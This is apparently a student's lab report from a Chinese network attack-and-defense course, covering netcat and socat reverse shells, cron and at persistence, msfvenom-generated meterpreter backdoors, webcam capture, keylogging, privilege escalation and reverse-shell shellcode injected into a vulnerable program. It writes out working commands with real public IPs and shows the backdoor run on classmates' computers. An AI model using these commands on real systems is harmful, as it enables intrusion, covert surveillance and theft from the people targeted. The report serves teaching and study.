20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告

20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告

cover

这是一个目录

  • 20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告
    • 1.实验内容
    • 2.1-回答几个小问题
    • 3.实验过程
      • 3.0-来好多好多台阿里云服务器
      • 3.1-使用netcat获取主机操作Shell,cron启动某项任务
      • 3.2-使用socat获取主机操作Shell, 任务计划启动
      • 3.3-使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
      • 3.4-使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
      • 3.5-使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
  • 4.问题及解决方案
  • 5.学习感悟、思考等
    • 参考资料

1.实验内容

通过netcat进行不同主机间的获取Shell操作,并通过获取到的Shell进行设定cron启动任务。此外,通过netcat的高级版——socat进行主机间的获取Shell操作,设定任务启动。学习使用msfvenom进行后门创建,生成可执行文件并通过nc进行主机间的文件传输,通过执行生成的文件获取主机Shell,还可以通过msfvenom生成可执行文件去获取目标主机的音频,摄像头,键盘输入,可以去尝试提升权限。最后结合第一次实验的BOF,将生成的shellcode注入到pwn中进行反弹连接Shell。

注意此次的分割线,程序猿现实
d

2.1-回答几个小问题

(Q1)例举你能想到的一个后门进入到你系统中的可能方式?
(A1)黑客可以通过信息系统设置后门,也可以厂家才生产过程中故意设置或者忘记删除的后门,或者是其他系统的远程服务登入安装后门。
(Q2)例举你知道的后门如何启动起来(win及linux)的方式?
(A2)在Windows下,可以通过用户点击exe可执行程序进行启动,也可以通过任务计划或者触发器进行启动。在Linux中,可以设置定时任务或者shellcode注入的方式进行后门启动。
(Q3)Meterpreter有哪些给你映像深刻的功能?
(A3)MSF强大之处在于能够集成多种渗透工具,直接生成多种可执行程序,并且支持多种系统,多种语言,不同需求,不同类型的可执行文件生成。
(Q4)如何发现自己有系统有没有被安装后门?
(A4)可以去检查系统进程中是否有可疑进程和可疑服务,还可以查看可疑的系统启动项,查看是否有可疑的网络连接,检查系统日志中是否有可疑的记录。

d

3.实验过程

3.0-来好多好多台阿里云服务器

算是知道阿里云的强大后,这一次我结合本地Parallels Desktop虚拟机中的kali和阿里云服务器上的Ubuntu进行实验。因为本地电脑为MacBook Air M2,是基于ARM架构的,所以Parallels Desktop中也只能运行Windows on ARM,所以导致基于x86的netcat和socat无法直接运行。这就导致了我整个实验的进度远超预期。我也尝试通过阿里云的Windows Server 2012进行实验,但是卡的是真不成样子而且Server版的传文件不方便,下载东西也不方便。也在CentOS里用Docker搭建了kali但是连apt什么的都没有,vi都用不了。服了。不知道问什么本地kali想安装veil-evasion显示找不到。最后没办法,花了好久的时间在阿里云Ubuntu上安装了Metasploit,才完成本次实验,云服务器配置为32位Ubuntu16.04,1C1M。
3

d

3.1-使用netcat获取主机操作Shell,cron启动某项任务

遇到不会的首先想到的就是看看之前有没有人做过,然后就理所当然地被上一届的实验报告带错了方向。理解正确对方式之后,要查看两台主机各自的IP地址,在监听端通过nc -l -p 3389进行netcat的监听,使用3389端口的原因在上一篇博客里已说。在请求段通过nc 123.57.7.216 3389 -e /bin/sh进行连接请求,并允许监听端使用请求端的Shell。这里采用了一点超常规的手段,就是直接从监听端通过账户和口令的方式获取请求端的root权限。在请求端输入lecho "1 * * * * echo "20202411" > /home/chenshuhuan/20202411.txt" > /var/spool/cron/crontabs/root 将定时命令写入,即每隔一分钟在20202411.txt文件中写入20202411。过一小会儿打开txt文件可以看到已经有内容写入了。

35
36
37
d

3.2-使用socat获取主机操作Shell, 任务计划启动

因为Windows on ARM上无法直接运行x86的netcat和socat,所以这一部分的Windows计划启动部分我改成了在Linux上进行计划启动。那么这又和前一个任务的cron有什么区别的。这里的计划启动可以是设定具体时间。具体语法是at now+3minutes,这是说从当前时间算起3分钟后启动任务。在Shell中出现at> 后输入socat TCP4-LISTEN:3389 exec: /bin/sh,pty,stderr <EOT>,具体是采用TCP/IPv4对3389端口进行监听,可以运行Shell,最后的是结束符。而请求端通过socat - tcp:123.57.16.92:3389进行监听,在任务成功创建3分钟后请求端连接上监听端,并且能够运行请求端的Shell。

11
15
d

3.3-使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

因为kali中我没有找到可以使用摄像头的程序,所以我最开始是打算通过nmap进行局域网扫描并进行ARP欺骗,这里已经可以实现局域网内的监听,但是最大的问题也出现在这里。我的Windows是ARM版本的,并不能够通过metasploit生成的Windows可执行文件去进行渗透,所以我又选择了云服务器的Ubuntu进行装载后门,但是出现了一个问题,本地kali采用DHCP与外网相连,本地可以访问具有公网IP的云服务器,但是云服务器不知道本地的IP。刚开始我尝试了使用socket去获取本地IP。代码如下:

#请求端
import socket
client = socket.socket(family=socket.AF_INET,type=socket.SOCK_STREAM)
client.connect(('101.200.186.56',8080))
client.send('Hello'.encode('utf-8'))
client.close()#监听端
import socket
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',8080))
server.listen(5)
conn,ip_addr = server.accept()
res = conn.recv(1024)
print(ip_addr)
print(res.decode('utf-8'))
conn.close()
server.close()

12

可以看到kali请求端的IP:Port是123.127.3.97:58964,端口在这里意义不大,但是通过这个IP地址并不能够成功通过nc连接。所以还得换个方法。在这里也尝试过在云服务器中安装CentOS,然后在CentOS中搭建kali,然后用kali去连接另一台Ubuntu,但是这kali里面什么都没有,apt没有,vi没有。敲一个命令一个找不到命令。算了。
17

然后还尝试在本地的ARM Ubuntu上当作靶机,但是metasploit的payload中只有armbe和armle,查阅之后知道了这ARM是分大端存储和小端存储的,所以采用以下程序判断,结果我这点Ubuntu是小端存储。

代码参考自夜流冰《编程参考- 如何判断当前系统架构是大端还是小端》

#include <stdio.h>typedef struct { int a; int b;int c;
} Foo_Type;int main(){ Foo_Type bar; bar.a = 1; bar.b = 2; bar.c = 3; int * p = (int*); printf("%d %d %d\n", p[0],p[1],p[2]);bar.a = 0x12345678;printf("0x%X\n", bar.a);unsigned char * pc = (unsigned char*); printf("0x%X 0x%X 0x%X 0x%X\n", pc[0], pc[1], pc[2], pc[3]); return 0;
}

所以我采用了linux/armle/meterpreter/reverse_tcp作为payload,通过metasploit生成elf文件,问题在这里,Linux中不按照后缀名作为启动方式,所以elf方式我没弄懂到底要如何启动。所以还得换方法。

23
24
想在本地kali上安装veil-evasion进行metasploit的替换,但是apt显示找不到veil。后来我甚至还到Amazon AWS上去看了看预装kali的云服务器,但是不用魔法不用sms大陆并没有办法访问。有用的流量要留给BingChat和ChatGPT。所以最后的最后,我还是在阿里云上另外租了一台服务器,Ubuntu系统,在里面安装了metasploit。通过metasploit生成x86 Windows下的可执行文件。可以通过python/meterpreter/reverse_tcp当作payload,生成的python文件如下:
29
28

22
30

这样就成功完成获取主机Shell的任务。

d

3.4-使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

我想试试通过上述python文件继续执行获取摄像头,音频等信息,但是可以python文件并不支持,所以改变payload,通过msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.57.7.216 LPORT=3389 -f exe > 20202411_backdoor.exe生成exe可执行文件,并分发给使用Intel芯片Windows的同学,在监听端输入msfconsole进入msf终端,use exploit/multi/handler调用监听模块,set payload windows/meterpreter/reverse_tcp设置与payload一样,set LHOST=123.57.7.216为监听IP,但因为不是在局域网内,所以用公网IP并没有用,系统会自动更改为0.0.0.0,对所有连接进行监听,set LPORT 3389设置监听端口,exploit开始监听。在成功连接之后,输入webcam_snap进行摄像头拍摄,输入screenshot进行屏幕截屏,输入keyscan_start开始监听键盘。因为在服务器端没有浏览器所以并不能看到摄像头的录像。通过getuidgetsystem可以进行提权。

因为涉及到同学隐私,所以照片进行了部分遮挡。

31
32
jhy
hry
doge
gb

33

d

3.5-使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

通过msfvenom -p linux/x86/shell_reverse_tcp LHOST=123.57.7.216 LPORT=3389 -f c可以直接生成shellcode,具体代码如下

\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7b\x39\x07\xd8\x68\x02\x00\x0d\x3d\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

通过perl将这段shellcode重定向进入input_shell2411中,再通过(cat input_shel12411; cat) | ./pwn2进行shellcode注入。我是真的服了这隐蔽性是真好,被监听者不知道被监听,连监听者也不知道成功监听,Shell中一点变化都没有,我还以为我做失败了。
38
39

d

4.问题及解决方案

  • 问题1:cron的默认编辑器nano是真难用还不知道如何改成vi
  • 问题1解决方案:在/var/spool/cron目录下输入export EDITOR=vi,更改默认编辑器。有一说一这nano是真难用。
  • 问题2:无法进行提权
  • 问题2解决方案:采用exploit/windows/local/ask,模拟一个UAC确认窗口,欺骗用户点击,从而获取权限。
  • 问题3:没有ARM架构的Windows的payload
  • 问题3解决方案:我服了真的,就是这一个原因间接引出其他80%对问题,具体解决方法我觉得与其放在这,不如放在下面的感悟里。
  • 问题4:对Linux下计划任务不熟悉
  • 问题4解决方案:可以通过apt安装at这个包,通过at [选项][时间]的方式进行设置计划任务,到点自动启动。
  • 问题5:Ubuntu安装metasploit
  • 问题5解决方案:通过下载从metasploit网站上下载,并到服务器上去sudo gdebi metasploit-framework_6.3.9+20230321102719_1rapid7-1_amd64.deb进行安装,在这里不要去通过git,gem和bundle进行安装,第一需要多安装rubygem,其次版本不对就一直卡着。

d

5.学习感悟、思考等

只能说如果有保姆级教程跟着一步一步做,那么其实没有什么实验会是难的,但是当你找到的资料你用不上的时候,这个时候才最要命,因为老师发的netcat和socat的压缩包都是x86的,我尝试了在Windows on ARM上运行,但是没有响应,所以就无法用Windows做这次的实验,这就对整个实验造成了极大的干扰。所以所以接下来就是遇到问题解决问题的路径。如果没有用Windows的计划任务,那么如何代替?LInux下的at结合crontab可以解决。没有x86的Windows如何进行MSF生成后门应用?将攻击机安装在云端,对同学的x86Windows进行渗透,如何对Windows on ARM进行渗透?暂时没找到办法,换个思路,如何对Linux ARM渗透?通过MSF生成Linux的对应文件,如何判断MSF的armbe和armle?编写程序判断Linux ARM采用小端存储。能否用本地kali作为攻击机而服务器作为靶机?本地kali是虚拟机并且采用DHCP方式,服务器无法主动连接,换个思路,在云服务器上安装两台,一台当攻击机,一台当靶机。本地kali无法安装veil?本地不行就在云端用其他方式。CentOS的Docker搭建的kali什么都没有?Docker算是用不明白了,直接在Ubuntu中安装metasploit使用好了。

d

参考资料

  • Cron定时任务
  • 如何修改 crontab -e 的默认编辑器
  • 使用socat反向Shell多台机器
  • Linux-定时任务at命令
  • 讲解一下Linux 中的 Socat 命令
  • kali局域网嗅探
  • Centos安装Docker的详细安装步骤
  • Kali之——关闭防火墙
  • ubuntu gem安装
  • Ubuntu安装metasploit-framework
  • metasploit
  • Ubuntu安装msf
  • ubuntu安装metasploit framwork
  • 在Ubuntu中安装MSF渗透工具
  • Msfvenom介绍及利用
  • Metasploit Framework(MSF)的使用
  • Linux | systemctl & firewalld
  • msfvenom生成后门程序及利用
  • docker安装kali
  • Centos安装Docker的详细安装步骤
  • The following signatures were invalid:EXPKEYSIG ED444FF07D8D0BF6 KaliLinuxRepository<devel@kali.org>
  • 如何在kali上安装veil?
  • Veil-Evasion安装及使用
  • Kali Linux 网络渗透测试实践指南:能绕过杀毒软件的Veil-Evasion安装
  • veil-evasion介绍
  • 0x13_MAL_使用netcat进行反弹链接的shellcode.md
  • 编程参考- 如何判断当前系统架构是大端还是小端
  • Metasploit(MSF)基础超级详细版
  • Command shell session 2 closed
  • Linux bashrc 小技巧丨所有命令都提示command not found,环境变量异常修复方案
  • MAL_后门进阶应用Meterprter
  • Metasploit入门用法(主动攻击)
  • msfvenom常见的使用命令
  • Ubuntu系统下Linux GCC常用命令和ELF文件格式
  • Linux ELF 可执行链接格式学习
  • Linux 中的 netcat 网络工具简介

还有些参考可能看了就关了,Safari,Firefox,Edge,Chrome开着几十个网页,电脑买来就没这么卡过。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/31222.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【直击RSAC大会:17款TOP级网络安全产品亮相,多款为全球首发!】

在本周举行的2023年RSAC大会上&#xff0c;厂商们展示了包括XDR、电子邮件安全、漏洞管理和应用安全等类别的新产品。 2023年RSAC大会进入“白热化”阶段 对于想要了解网络安全供应商最新产品的人们来说&#xff0c;网络安全行业年度的RSAC是一个绝不能错过的盛会&#xff0c…

无密码时代开启,谷歌率先实施!

整理 | 陈静琳 责编 | 屠敏 出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09; 谷歌今天宣布推出对密钥的支持&#xff0c;为谷歌账户提供更简单、更安全的登录方法。谷歌宣称&#xff1a;也许到明年的世界密码日&#xff0c;你甚至不需要使用密码&#xff0c;…

新手用ChatGPT仅需数小时轻松构建零日漏洞,69家专业公司都检测不出来:“不仅能调用开源库,还能彻底重写源代码”

ChatGPT 能让 10X 工程师成为 1000X 工程师&#xff0c;同时也能让菜鸟用 1/1000 的时间编写出危害力十足的恶意软件。 自去年推出以来&#xff0c;ChatGPT 以其撰写文章、诗歌、电影剧本等的能力在技术爱好者中引发轰动。而且只要给它一个写得很好、很清晰的提示&#xff0c;…

破解文件包含漏洞:实践技巧、案例分析和检测工具推荐

数据来源 部分数据来源&#xff1a;ChatGPT 本文仅用于信息安全的学习&#xff0c;请遵守相关法律法规&#xff0c;严禁用于非法途径。若观众因此作出任何危害网络安全的行为&#xff0c;后果自负&#xff0c;与本人无关。 01 文件包含漏洞概述 文件包含漏洞是一种常…

危!「邪恶版」ChatGPT 出现:每月 60 欧元,毫无道德限制,专为“网络罪犯”而生?...

整理 | 郑丽媛 出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09; 近几个月来&#xff0c;伴随着 ChatGPT 的热度暴涨&#xff0c;OpenAI 也不断因 AI 的道德问题和数据安全隐患遭到多方质疑&#xff0c;甚至上周还受到了美国联邦贸易委员会&#xff08;FTC&#xff…

微信支付提示“交易已提交,请查询确认是付已扣款,避免重复操作” java

最近在做微信开发,之前一直支付成功,但今天不知道怎么回事,老提示"交易已提交&#xff0c;请查询确认是付已扣款&#xff0c;避免重复操作" 经过观察发现原来是小编在 这个地方多传递了一个带有表情的微信昵称 为了程序能够顺利进行,只好把客户的个性化名称给改变了,…

重复收到微信支付异步通知

微信支付的机制需要我们接收微信的异步通知&#xff0c;通过内网穿透工具注册域名后可以在本地接收到微信发来的异步通知。 wxPayConfig.setNotifyUrl("https://xzk.mynatapp.cc/pay/notify/");//接收异步通知 在控制层接收微信发来的异步通知 PostMapping("/…

钱扣了,订单却是未支付,用户炸了——聊聊如何防止支付掉单

大家好&#xff0c;我是老三&#xff0c;之前在 如何防止订单重复支付 里和大家聊过掉单导致的重复支付&#xff0c;这篇文章&#xff0c;我们来聊聊&#xff0c;如何防止掉单。 好好的支付&#xff0c;怎么就掉单了&#xff1f; 我听说过下单、买单、脱单……掉单是什么东西…

微信支付最佳实践-服务端如何防止重复支付

DUBBO之家 2023-01-10 14:01 发表于北京 点击上方 "DUBBO之家" 关注公众号 终身学习 技术干货 及时送达 往期回顾 这次彻底读透 Redis Java回调机制 概述 如图是一个简化的下单流程&#xff0c;首先是提交订单&#xff0c;然后是支付。支付的话&#xff0c;一…

如何防止订单重复支付

想必大家对在线支付都不陌生&#xff0c;今天和大家聊聊如何防止订单重复支付。 看看订单支付流程 我们来看看&#xff0c;电商订单支付的简要流程&#xff1a; 订单钱包支付流程 从下单/计算开始&#xff1a; 下单/结算&#xff1a;这一步虽然不是直接的支付起点&#xff0c;但…

重复付款异常到底该如何解决?一笔订单,但是误付了两笔钱!

重复付款异常 异常场景 重复付款异常一般常见于网银支付&#xff0c;微信支付&#xff0c;支付宝等这类需要跳转到一个支付网关页&#xff08;网银支付&#xff09;&#xff0c;或者跳转到钱包 APP(支付宝、微信)&#xff0c;从而异步完成扣款的支付场景。 这种支付场景下&a…

《GPT-4 ,通用人工智能的火花》论文内容精选与翻译

原文&#xff1a; 原文地址&#xff1a;Arduino中文社区 引言&#xff1a; 《通用人工智能的火花&#xff1a;GPT-4早期实验》是3月最重要的一篇论文&#xff0c;引起了广泛的关注和讨论&#xff0c;但是论文长达 154页&#xff0c;中文版本还无人翻译。 本文挑选了论文中的…

ICLR 2023 Oral | Batch Norm层等暴露TTA短板,开放环境下解决方案来了

关注并星标 从此不迷路 计算机视觉研究院 公众号ID&#xff5c;ComputerVisionGzq 学习群&#xff5c;扫码在主页获取加入方式 计算机视觉研究院专栏 作者&#xff1a;Edison_G 测试时自适应&#xff08;Test-Time Adaptation, TTA&#xff09;方法在测试阶段指导模型进行快速无…

TensorRT量化第二课:对称量化与非对称量化

目录 模型量化原理注意事项一、2023/3/30更新前言1.引出问题1.1 问题1.2 代码实现1.2.1 初始化输入数组1.2.2 Scale计算1.2.3 量化截断1.2.4 反量化1.2.5 完整代码 2. 非对称量化2.1 动态范围量化2.2 代码实现2.3 原理分析2.3.1 动态量化范围2.3.2 偏移量Z2.3.3 图例分析 3.对称…

领先的项目协作管理软件OpenProject

本文软件由网友 不长到一百四誓不改名 推荐&#xff1b; 什么是 OpenProject &#xff1f; OpenProject 是一个开源、基于 Web 的项目管理系统&#xff0c;提供了免费的社区版和收费的企业版。OpenProject 拥有完善的文档&#xff0c;API&#xff0c;及丰富的功能&#xff0c;可…

当我问ChatGPT,知识图谱在工程项目管理中有什么用

导读 知识图谱&#xff08;Knowledge Graph&#xff09;&#xff0c;在图书情报界称为知识域可视化或知识领域映射地图&#xff0c;是显示知识发展进程与结构关系的一系列各种不同的图形&#xff0c;用可视化技术描述知识资源及其载体&#xff0c;挖掘、分析、构建、绘制和显示…

私藏多年的vscode插件分享,让你成为一个高效开发的程序员

vscode插件就像手机里的应用商店一样&#xff0c;可以让我们在高效代码开发、为了美观的代码格式&#xff0c;可以更好的高逼格分享代码等系列功能&#xff0c;本文特意整理了艾编程老师多年来使用vscode的经验&#xff0c;整理的插件集希望对您有帮助&#xff01; 1、简体中文…

vscode插件(个人正在用的)

插件目录 any-ruleAuto Close TagAuto Rename Tagbackground-coverChinese (Simplified) (简体中文) Language Pack for Visual Studio CodeDebugger for JavaError LensESLintExtension Pack for JavaImage previewIntelliCodeIntelliCode API Usage ExamplesLanguage Support…

程序员请收好:10个非常有用的 Visual Studio Code 插件!

点击上方“小白学视觉”&#xff0c;选择加"星标"或“置顶” 重磅干货&#xff0c;第一时间送达 一个插件列表&#xff0c;可以让你的程序员生活变得轻松许多。 以下为译文&#xff1a; 无论你是经验丰富的开发人员还是刚刚开始第一份工作的初级开发人员&#xff0c;…

VSCode好用的插件

文章の目录 1、Chinese (Simplified) (简体中文) Language Pack&#xff08;汉化vscode 必备&#xff09;2、Bracket Pair Colorizer&#xff08;给代码中的括号添加亮色&#xff0c;便于区分&#xff09;3、Auto Close Tag&#xff08;自动补全标签&#xff0c;必备&#xff0…